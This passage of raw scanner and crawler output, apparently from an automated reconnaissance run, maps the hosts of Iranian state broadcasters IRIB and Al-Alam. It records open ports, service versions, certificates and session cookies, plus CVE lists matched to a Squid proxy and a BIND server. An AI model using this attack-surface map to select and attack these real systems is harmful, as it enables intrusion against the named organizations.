1931 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1932 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1933 |_ssl-date: TLS randomness does not represent time
1934 993/tcp open ssl/imap-proxy syn-ack ttl 39 nginx imap proxy
1935 |_imap-capabilities: CATENATE QRESYNC completed OK CONDSTORE MULTIAPPEND SEARCHRES AUTH=PLAINA0001 WITHIN CHILDREN I18NLEVEL=1 UNSELECT UIDPLUS THREAD=ORDEREDSUBJECT IDLE NAMESPACE ID SORT SASL-IR QUOTA RIGHTS=ektx BINARY ENABLE ACL ESORT ESEARCH LITERAL+ LIST-EXTENDED IMAP4rev1
1936 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1937 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1938 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1939 | Public Key type: rsa
1940 | Public Key bits: 2048
1941 | Signature Algorithm: sha256WithRSAEncryption
1942 | Not valid before: 2017-02-16T07:54:42
1943 | Not valid after: 2020-02-16T07:54:42
1944 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1945 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1946 |_ssl-date: TLS randomness does not represent time
1947 995/tcp open ssl/pop3 syn-ack ttl 39 Zimbra Collabration Suite pop3d
1948 |_pop3-capabilities: XOIP UIDL EXPIRE(31 USER) SASL(PLAIN) USER TOP
1949 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1950 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1951 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1952 | Public Key type: rsa
1953 | Public Key bits: 2048
1954 | Signature Algorithm: sha256WithRSAEncryption
1955 | Not valid before: 2017-02-16T07:54:42
1956 | Not valid after: 2020-02-16T07:54:42
1957 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1958 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1959 |_ssl-date: TLS randomness does not represent time
1960 Device type: general purpose|WAP
1961 Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (91%)
1962 OS Info: Service Info: Host: miprxk.irib.ir
1963 Scanning ip 2.188.3.60 (ns1.alalamtv.net.):
1964 53/tcp open domain? syn-ack ttl 110
1965 | fingerprint-strings:
1966 | DNSVersionBindReqTCP:
1967 | version
1968 |_ bind
1969 Scanning ip 54.36.51.175 (ftp.alalamtv.net.):
1970 21/tcp open ftp syn-ack ttl 51 vsftpd 3.0.2
1971 80/tcp open http-proxy syn-ack ttl 51 Varnish http accelerator
1972 | http-methods:
1973 |_ Supported Methods: GET HEAD POST OPTIONS
1974 |_http-server-header: Varnish
1975 |_http-title: Did not follow redirect to https://www.alalamtv.net/
1976 443/tcp open ssl/http syn-ack ttl 51 nginx
1977 | http-methods:
1978 |_ Supported Methods: GET POST
1979 |_http-title: Did not follow redirect to https://www.alalamtv.net/
1980 | ssl-cert: Subject: commonName=*.alalamtv.net/organizationName=Alalam News Network/stateOrProvinceName=Tehran/countryName=IR
1981 | Subject Alternative Name: DNS:*.alalamtv.net, DNS:alalamtv.net
1982 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1983 | Public Key type: rsa
1984 | Public Key bits: 2048
1985 | Signature Algorithm: sha256WithRSAEncryption
1986 | Not valid before: 2019-03-26T17:10:30
1987 | Not valid after: 2020-03-25T17:10:30
1988 | MD5: e3e1 1754 be6d 2711 c449 5b59 fc4a 68fb
1989 |_SHA-1: e926 36e6 cade 1c52 a9c1 bd46 83af d03d fdb9 585c
1990 |_ssl-date: TLS randomness does not represent time
1991 | tls-alpn:
1992 |_ http/1.1
1993 | tls-nextprotoneg:
1994 |_ http/1.1
1995 OS Info: Service Info: OS: Unix
1996 Scanning ip 192.99.38.90 (cp.alalamtv.net.):
1997 21/tcp open ftp syn-ack ttl 56 vsftpd 3.0.2
1998 22/tcp open http-proxy syn-ack ttl 56 Squid http proxy 3.5.20
1999 |_http-server-header: squid/3.5.20
2000 |_http-title: ERROR: The requested URL could not be retrieved
2001 |_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
2002 | vulners:
2003 | cpe:/a:squid-cache:squid:3.5.20:
2004 | CVE-2019-12525 7.5 https://vulners.com/cve/CVE-2019-12525
2005 | CVE-2018-1000027 5.0 https://vulners.com/cve/CVE-2018-1000027
2006 | CVE-2018-1000024 5.0 https://vulners.com/cve/CVE-2018-1000024
2007 | CVE-2016-10003 5.0 https://vulners.com/cve/CVE-2016-10003
2008 | CVE-2016-10002 5.0 https://vulners.com/cve/CVE-2016-10002
2009 | CVE-2019-12529 4.3 https://vulners.com/cve/CVE-2019-12529
2010 | CVE-2018-19132 4.3 https://vulners.com/cve/CVE-2018-19132
2011 |_ CVE-2018-19131 4.3 https://vulners.com/cve/CVE-2018-19131
2012 53/tcp open domain syn-ack ttl 56 ISC BIND 9.9.4 (RedHat Enterprise Linux 7)
2013 | dns-nsid:
2014 |_ bind.version: 9.9.4-RedHat-9.9.4-61.el7_5.1
2015 | vulners:
2016 | cpe:/a:isc:bind:9.9.4:
2017 | CVE-2015-4620 7.8 https://vulners.com/cve/CVE-2015-4620
2018 | CVE-2014-8500 7.8 https://vulners.com/cve/CVE-2014-8500
2019 | CVE-2017-3141 7.2 https://vulners.com/cve/CVE-2017-3141
2020 | CVE-2015-8461 7.1 https://vulners.com/cve/CVE-2015-8461
2021 | CVE-2013-6230 6.8 https://vulners.com/cve/CVE-2013-6230
2022 | CVE-2015-1349 5.4 https://vulners.com/cve/CVE-2015-1349
2023 | CVE-2018-5740 5.0 https://vulners.com/cve/CVE-2018-5740
2024 | CVE-2017-3145 5.0 https://vulners.com/cve/CVE-2017-3145
2025 | CVE-2016-9131 5.0 https://vulners.com/cve/CVE-2016-9131
2026 | CVE-2016-8864 5.0 https://vulners.com/cve/CVE-2016-8864
2027 | CVE-2016-1286 5.0 https://vulners.com/cve/CVE-2016-1286
2028 | CVE-2015-8000 5.0 https://vulners.com/cve/CVE-2015-8000
2029 | CVE-2019-6465 4.3 https://vulners.com/cve/CVE-2019-6465
2030 | CVE-2018-5743 4.3 https://vulners.com/cve/CVE-2018-5743
2031 | CVE-2018-5742 4.3 https://vulners.com/cve/CVE-2018-5742
2032 | CVE-2017-3143 4.3 https://vulners.com/cve/CVE-2017-3143
2033 | CVE-2017-3142 4.3 https://vulners.com/cve/CVE-2017-3142
2034 | CVE-2017-3136 4.3 https://vulners.com/cve/CVE-2017-3136
2035 | CVE-2016-2775 4.3 https://vulners.com/cve/CVE-2016-2775
2036 | CVE-2016-1285 4.3 https://vulners.com/cve/CVE-2016-1285
2037 | CVE-2018-5741 4.0 https://vulners.com/cve/CVE-2018-5741
2038 | CVE-2016-6170 4.0 https://vulners.com/cve/CVE-2016-6170
2039 | CVE-2018-5745 3.5 https://vulners.com/cve/CVE-2018-5745
2040 |_ CVE-2014-0591 2.6 https://vulners.com/cve/CVE-2014-0591
2041 80/tcp open http-proxy syn-ack ttl 56 Varnish http accelerator
2042 | http-methods:
2043 |_ Supported Methods: GET HEAD POST OPTIONS
2044 |_http-open-proxy: Proxy might be redirecting requests
2045 |_http-server-header: Varnish
2046 |_http-title: Did not follow redirect to https://www.alalamtv.net/
2047 443/tcp open ssl/http syn-ack ttl 56 nginx
2048 | http-methods:
2049 |_ Supported Methods: GET HEAD POST OPTIONS
2050 |_http-title: Did not follow redirect to https://www.alalamtv.net/
2051 | ssl-cert: Subject: commonName=*.alalamtv.net/organizationName=Alalam News Network/stateOrProvinceName=Tehran/countryName=IR
2052 | Subject Alternative Name: DNS:*.alalamtv.net, DNS:alalamtv.net
2053 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
2054 | Public Key type: rsa
2055 | Public Key bits: 2048
2056 | Signature Algorithm: sha256WithRSAEncryption
2057 | Not valid before: 2019-03-26T17:10:30
2058 | Not valid after: 2020-03-25T17:10:30
2059 | MD5: e3e1 1754 be6d 2711 c449 5b59 fc4a 68fb
2060 |_SHA-1: e926 36e6 cade 1c52 a9c1 bd46 83af d03d fdb9 585c
2061 |_ssl-date: TLS randomness does not represent time
2062 | tls-alpn:
2063 |_ http/1.1
2064 | tls-nextprotoneg:
2065 |_ http/1.1
2066 8080/tcp open http-proxy syn-ack ttl 56
2067 | fingerprint-strings:
2068 | FourOhFourRequest:
2069 | HTTP/1.1 302 Found
2070 | X-Powered-By: fstv monitoring 1.0.2
2071 | Location: /
2072 | Vary: Accept
2073 | Content-Type: text/plain; charset=utf-8
2074 | Content-Length: 23
2075 | set-cookie: connect.sid=s%3AEwS5CarzRiCy_1HMDTi54jc1XxKn0luG.e%2BPspuwYyjyjyKtbFFNesbEzIzoatfYOQgi7oDeXJ%2FQ; Path=/; HttpOnly
2076 | Date: Mon, 25 Nov 2019 02:25:12 GMT
2077 | Connection: close
2078 | Found. Redirecting to /
2079 | GetRequest:
2080 | HTTP/1.1 401 Unauthorized
2081 | X-Powered-By: fstv monitoring 1.0.2
2082 | Content-Type: text/plain; charset=utf-8
2083 | Content-Length: 12
2084 | ETag: W/"c-4G0bpw8TMen5oRPML4h9Pw"
2085 | set-cookie: connect.sid=s%3As7x40c3givm0M71zESZyBkOOVx-W0V1S.hDocBoGiZd61P3us%2BWOZaP5d2Jrv8dgYauY2Q4xB6GA; Path=/; HttpOnly
2086 | Date: Mon, 25 Nov 2019 02:25:12 GMT
2087 | Connection: close
2088 | Unauthorized
2089 | HTTPOptions:
2090 | HTTP/1.1 200 OK
2091 | X-Powered-By: fstv monitoring 1.0.2
2092 | Allow: GET,HEAD
2093 | Content-Type: text/html; charset=utf-8
2094 | Content-Length: 8
2095 | ETag: W/"8-8ww6QOmj5lyGjHVKXelZGQ"
2096 | set-cookie: connect.sid=s%3AY3fpLpO6XEAVqa3uEmIQ1FjoQFKig36e.LHRn2oabuFF48ZwqYxKh5blBAOSAvvmSb1hROcjTMII; Path=/; HttpOnly
2097 | Date: Mon, 25 Nov 2019 02:25:12 GMT
2098 | Connection: close
2099 |_ GET,HEAD
2100 | http-auth:
2101 | HTTP/1.1 401 Unauthorized\x0D
2102 |_ Server returned status 401 but no WWW-Authenticate header.
2103 | http-methods:
2104 |_ Supported Methods: GET HEAD POST OPTIONS
2105 |_http-title: Site doesn't have a title (text/plain; charset=utf-8).
2106 OS Info: Service Info: OSs: Unix, Linux; CPE: cpe:/o:redhat:enterprise_linux:7
2107 Scanning ip 77.36.164.112 (webmail.alalamtv.net.):
2108 WebCrawling domain's web servers... up to 50 max links.
2109
2110 + URL to crawl: http://webmail.alalamtv.net.
2111 + Date: 2019-11-24
2112
2113 + Crawling URL: http://webmail.alalamtv.net.:
2114 + Links:
2115 + Crawling http://webmail.alalamtv.net.
2116 + Searching for directories...
2117 + Searching open folders...
2118
2119
2120 + URL to crawl: http://webmail.alalamtv.net.:443
2121 + Date: 2019-11-24
2122
2123 + Crawling URL: http://webmail.alalamtv.net.:443:
2124 + Links:
2125 + Crawling http://webmail.alalamtv.net.:443 (400 Bad Request)
2126 + Searching for directories...
2127 + Searching open folders...
2128
2129
2130 + URL to crawl: http://search.alalamtv.net.
2131 + Date: 2019-11-24
2132
2133 + Crawling URL: http://search.alalamtv.net.:
2134 + Links:
2135 + Crawling http://search.alalamtv.net.
2136 + Searching for directories...
2137 + Searching open folders...
2138
2139
2140 + URL to crawl: https://search.alalamtv.net.
2141 + Date: 2019-11-24
2142
2143 + Crawling URL: https://search.alalamtv.net.:
2144 + Links:
2145 + Crawling https://search.alalamtv.net.
2146 + Searching for directories...
2147 + Searching open folders...
2148
2149
2150 + URL to crawl: http://ftp.alalamtv.net.
2151 + Date: 2019-11-24
2152
2153 + Crawling URL: http://ftp.alalamtv.net.:
2154 + Links:
2155 + Crawling http://ftp.alalamtv.net.
2156 + Searching for directories...
2157 + Searching open folders...
2158
2159
2160 + URL to crawl: https://ftp.alalamtv.net.
2161 + Date: 2019-11-24
2162
2163 + Crawling URL: https://ftp.alalamtv.net.:
2164 + Links:
2165 + Crawling https://ftp.alalamtv.net.
2166 + Searching for directories...
2167 + Searching open folders...
2168
2169
2170 + URL to crawl: http://cp.alalamtv.net.:22
2171 + Date: 2019-11-24
2172
2173 + Crawling URL: http://cp.alalamtv.net.:22:
2174 + Links:
2175 + Crawling http://cp.alalamtv.net.:22 (400 Bad Request)
2176 + Searching for directories...
2177 + Searching open folders...
2178
2179
2180 + URL to crawl: http://www.alalamtv.net.:22
2181 + Date: 2019-11-24
2182
2183 + Crawling URL: http://www.alalamtv.net.:22:
2184 + Links:
2185 + Crawling http://www.alalamtv.net.:22 (400 Bad Request)
2186 + Searching for directories...
2187 + Searching open folders...
2188
2189
2190 + URL to crawl: http://ns3.alalamtv.net:22
2191 + Date: 2019-11-24
2192
2193 + Crawling URL: http://ns3.alalamtv.net:22:
2194 + Links:
2195 + Crawling http://ns3.alalamtv.net:22 (400 Bad Request)
2196 + Searching for directories...
2197 + Searching open folders...
2198
2199
2200 + URL to crawl: http://cp.alalamtv.net.
2201 + Date: 2019-11-24
2202
2203 + Crawling URL: http://cp.alalamtv.net.:
2204 + Links:
2205 + Crawling http://cp.alalamtv.net.
2206 + Crawling http://cp.alalamtv.net./rss
2207 + Crawling http://cp.alalamtv.net./sites/2/style/css/style2.css?v=128 (File! Not crawling it.)
2208 + Crawling http://cp.alalamtv.net./sites/2/style/js/custom3.js?v=128 (File! Not crawling it.)
2209 + Crawling http://cp.alalamtv.net./allnews
2210 + Crawling http://cp.alalamtv.net./islamic-world
2211 + Crawling http://cp.alalamtv.net./iran
2212 + Crawling http://cp.alalamtv.net./world
2213 + Crawling http://cp.alalamtv.net./videos
2214 + Crawling http://cp.alalamtv.net./reports
2215 + Crawling http://cp.alalamtv.net./graphic
2216 + Crawling http://cp.alalamtv.net./programs
2217 + Crawling http://cp.alalamtv.net./qatar
2218 + Crawling http://cp.alalamtv.net./saudia
2219 + Crawling http://cp.alalamtv.net./syria
2220 + Crawling http://cp.alalamtv.net./yemen
2221 + Crawling http://cp.alalamtv.net./bahrain
2222 + Crawling http://cp.alalamtv.net./iraq
2223 + Crawling http://cp.alalamtv.net./egypt
2224 + Crawling http://cp.alalamtv.net./palestine
2225 + Crawling http://cp.alalamtv.net./morocco
2226 + Crawling http://cp.alalamtv.net./libia
2227 + Crawling http://cp.alalamtv.net./lebanon
2228 + Crawling http://cp.alalamtv.net./turkey
2229 + Crawling http://cp.alalamtv.net./jordan
2230 + Crawling http://cp.alalamtv.net./tunisia
2231 + Crawling http://cp.alalamtv.net./Algeria
2232 + Crawling http://cp.alalamtv.net./Sudan
2233 + Crawling http://cp.alalamtv.net./emarat
2234 + Crawling http://cp.alalamtv.net./oman
2235 + Crawling http://cp.alalamtv.net./afghanistan
2236 + Crawling http://cp.alalamtv.net./pakistan
2237 + Crawling http://cp.alalamtv.net./East-Asia
2238 + Crawling http://cp.alalamtv.net./Asia-Al-Waste
2239 + Crawling http://cp.alalamtv.net./Mauritania
2240 + Crawling http://cp.alalamtv.net./kuwait
2241 + Crawling http://cp.alalamtv.net./Altogether
2242 + Crawling http://cp.alalamtv.net./iran-politics
2243 + Crawling http://cp.alalamtv.net./iran-economic
2244 + Crawling http://cp.alalamtv.net./cultural
2245 + Crawling http://cp.alalamtv.net./iran-tech
2246 + Crawling http://cp.alalamtv.net./iran-defense
2247 + Crawling http://cp.alalamtv.net./asia
2248 + Crawling http://cp.alalamtv.net./europe
2249 + Crawling http://cp.alalamtv.net./africa
2250 + Crawling http://cp.alalamtv.net./america
2251 + Crawling http://cp.alalamtv.net./todaysissue
2252 + Crawling http://cp.alalamtv.net./newscommentary
2253 + Crawling http://cp.alalamtv.net./marawaykom
2254 + Crawling http://cp.alalamtv.net./kashkol
2255 + Crawling http://cp.alalamtv.net./yoghal
2256 + Crawling http://cp.alalamtv.net./infographic
2257 + Searching for directories...
2258 - Found: http://cp.alalamtv.net./style/
2259 - Found: http://cp.alalamtv.net./style/js/
2260 - Found: http://cp.alalamtv.net./sites/
2261 - Found: http://cp.alalamtv.net./sites/2/
2262 - Found: http://cp.alalamtv.net./sites/2/style/
2263 - Found: http://cp.alalamtv.net./sites/2/style/css/
2264 - Found: http://cp.alalamtv.net./sites/2/style/css/bootstrap-4.0.0-beta-dist/
2265 - Found: http://cp.alalamtv.net./sites/2/style/css/bootstrap-4.0.0-beta-dist/css/
2266 - Found: http://cp.alalamtv.net./sites/2/style/js/
2267 - Found: http://cp.alalamtv.net./media.alalamtv.net/
2268 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/
2269 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/
2270 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/
2271 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/
2272 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/07/
2273 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/24/
2274 - Found: http://cp.alalamtv.net./sites/2/style/image/
2275 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/23/
2276 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/09/
2277 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/09/07/
2278 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/08/
2279 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/
2280 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/
2281 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/
2282 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/24/
2283 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/23/
2284 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/ads/
2285 - Found: http://cp.alalamtv.net./widget/
2286 - Found: http://cp.alalamtv.net./widget/notification/
2287 - Found: http://cp.alalamtv.net./platform-api.sharethis.com/
2288 - Found: http://cp.alalamtv.net./platform-api.sharethis.com/js/
2289 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/25/
2290 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/05/
2291 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/05/22/
2292 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/20/
2293 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/19/
2294 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/18/
2295 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/16/
2296 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/15/
2297 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/12/
2298 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/22/
2299 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/10/
2300 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/01/
2301 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/
2302 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/20/
2303 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/06/
2304 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/21/
2305 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/17/
2306 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/13/
2307 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/07/
2308 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/14/
2309 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/09/
2310 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/08/
2311 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/11/
2312 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/05/
2313 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/04/
2314 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/02/
2315 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/30/
2316 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/03/
2317 - Found: http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/31/
2318 + Searching open folders...
2319 - http://cp.alalamtv.net./style/ (403 Forbidden)
2320 - http://cp.alalamtv.net./style/js/ (403 Forbidden)
2321 - http://cp.alalamtv.net./sites/ (403 Forbidden)
2322 - http://cp.alalamtv.net./sites/2/ (403 Forbidden)
2323 - http://cp.alalamtv.net./sites/2/style/ (403 Forbidden)
2324 - http://cp.alalamtv.net./sites/2/style/css/ (403 Forbidden)
2325 - http://cp.alalamtv.net./sites/2/style/css/bootstrap-4.0.0-beta-dist/ (403 Forbidden)
2326 - http://cp.alalamtv.net./sites/2/style/css/bootstrap-4.0.0-beta-dist/css/ (403 Forbidden)
2327 - http://cp.alalamtv.net./sites/2/style/js/ (403 Forbidden)
2328 - http://cp.alalamtv.net./media.alalamtv.net/ (404 Not Found)
2329 - http://cp.alalamtv.net./media.alalamtv.net/uploads/ (404 Not Found)
2330 - http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/ (404 Not Found)
2331 - http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/ (404 Not Found)
2332 - http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/ (404 Not Found)
2333 - http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/07/ (404 Not Found)
2334 - http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/24/ (404 Not Found)
2335 - http://cp.alalamtv.net./sites/2/style/image/ (403 Forbidden)
2336 - http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/23/ (404 Not Found)
2337 - http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/09/ (404 Not Found)
2338 - http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/09/07/ (404 Not Found)
2339 - http://cp.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/08/ (404 Not Found)
2340 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/ (404 Not Found)
2341 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/ (404 Not Found)
2342 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/ (404 Not Found)
2343 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/24/ (404 Not Found)
2344 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/23/ (404 Not Found)
2345 - http://cp.alalamtv.net./media.alalamtv.net/uploads/ads/ (404 Not Found)
2346 - http://cp.alalamtv.net./widget/ (403 Forbidden)
2347 - http://cp.alalamtv.net./widget/notification/ (403 Forbidden)
2348 - http://cp.alalamtv.net./platform-api.sharethis.com/ (404 Not Found)
2349 - http://cp.alalamtv.net./platform-api.sharethis.com/js/ (404 Not Found)
2350 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/25/ (404 Not Found)
2351 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/05/ (404 Not Found)
2352 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/05/22/ (404 Not Found)
2353 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/20/ (404 Not Found)
2354 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/19/ (404 Not Found)
2355 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/18/ (404 Not Found)
2356 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/16/ (404 Not Found)
2357 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/15/ (404 Not Found)
2358 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/12/ (404 Not Found)
2359 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/22/ (404 Not Found)
2360 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/10/ (404 Not Found)
2361 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/01/ (404 Not Found)
2362 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/ (404 Not Found)
2363 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/20/ (404 Not Found)
2364 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/06/ (404 Not Found)
2365 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/21/ (404 Not Found)
2366 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/17/ (404 Not Found)
2367 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/13/ (404 Not Found)
2368 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/07/ (404 Not Found)
2369 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/14/ (404 Not Found)
2370 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/09/ (404 Not Found)
2371 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/08/ (404 Not Found)
2372 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/11/ (404 Not Found)
2373 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/05/ (404 Not Found)
2374 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/04/ (404 Not Found)
2375 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/02/ (404 Not Found)
2376 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/30/ (404 Not Found)
2377 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/03/ (404 Not Found)
2378 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/31/ (404 Not Found)
2379 + Crawl finished successfully.
2380----------------------------------------------------------------------
2381Summary of http://http://cp.alalamtv.net.
2382----------------------------------------------------------------------
2383+ Links crawled:
2384 - http://cp.alalamtv.net.
2385 - http://cp.alalamtv.net./Algeria
2386 - http://cp.alalamtv.net./Altogether
2387 - http://cp.alalamtv.net./Asia-Al-Waste
2388 - http://cp.alalamtv.net./East-Asia
2389 - http://cp.alalamtv.net./Mauritania
2390 - http://cp.alalamtv.net./Sudan
2391 - http://cp.alalamtv.net./afghanistan
2392 - http://cp.alalamtv.net./africa
2393 - http://cp.alalamtv.net./allnews
2394 - http://cp.alalamtv.net./america
2395 - http://cp.alalamtv.net./asia
2396 - http://cp.alalamtv.net./bahrain
2397 - http://cp.alalamtv.net./cultural
2398 - http://cp.alalamtv.net./egypt
2399 - http://cp.alalamtv.net./emarat
2400 - http://cp.alalamtv.net./europe
2401 - http://cp.alalamtv.net./graphic
2402 - http://cp.alalamtv.net./infographic
2403 - http://cp.alalamtv.net./iran
2404 - http://cp.alalamtv.net./iran-defense
2405 - http://cp.alalamtv.net./iran-economic
2406 - http://cp.alalamtv.net./iran-politics
2407 - http://cp.alalamtv.net./iran-tech
2408 - http://cp.alalamtv.net./iraq
2409 - http://cp.alalamtv.net./islamic-world
2410 - http://cp.alalamtv.net./jordan
2411 - http://cp.alalamtv.net./kashkol
2412 - http://cp.alalamtv.net./kuwait
2413 - http://cp.alalamtv.net./lebanon
2414 - http://cp.alalamtv.net./libia
2415 - http://cp.alalamtv.net./marawaykom
2416 - http://cp.alalamtv.net./morocco
2417 - http://cp.alalamtv.net./newscommentary
2418 - http://cp.alalamtv.net./oman
2419 - http://cp.alalamtv.net./pakistan
2420 - http://cp.alalamtv.net./palestine
2421 - http://cp.alalamtv.net./programs
2422 - http://cp.alalamtv.net./qatar
2423 - http://cp.alalamtv.net./reports
2424 - http://cp.alalamtv.net./rss
2425 - http://cp.alalamtv.net./saudia
2426 - http://cp.alalamtv.net./syria
2427 - http://cp.alalamtv.net./todaysissue
2428 - http://cp.alalamtv.net./tunisia
2429 - http://cp.alalamtv.net./turkey
2430 - http://cp.alalamtv.net./videos
2431 - http://cp.alalamtv.net./world
2432 - http://cp.alalamtv.net./yemen
2433 - http://cp.alalamtv.net./yoghal
2434 Total links crawled: 50
2435
2436+ Links to files found:
2437 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/05/22/155853880630463600.jpg
2438 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/06/157036930096632200.jpg
2439 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/20/157154552402504400.jpg
2440 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/30/157244595894576100.jpg
2441 - http://cp.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/31/157252114102016800.jpg
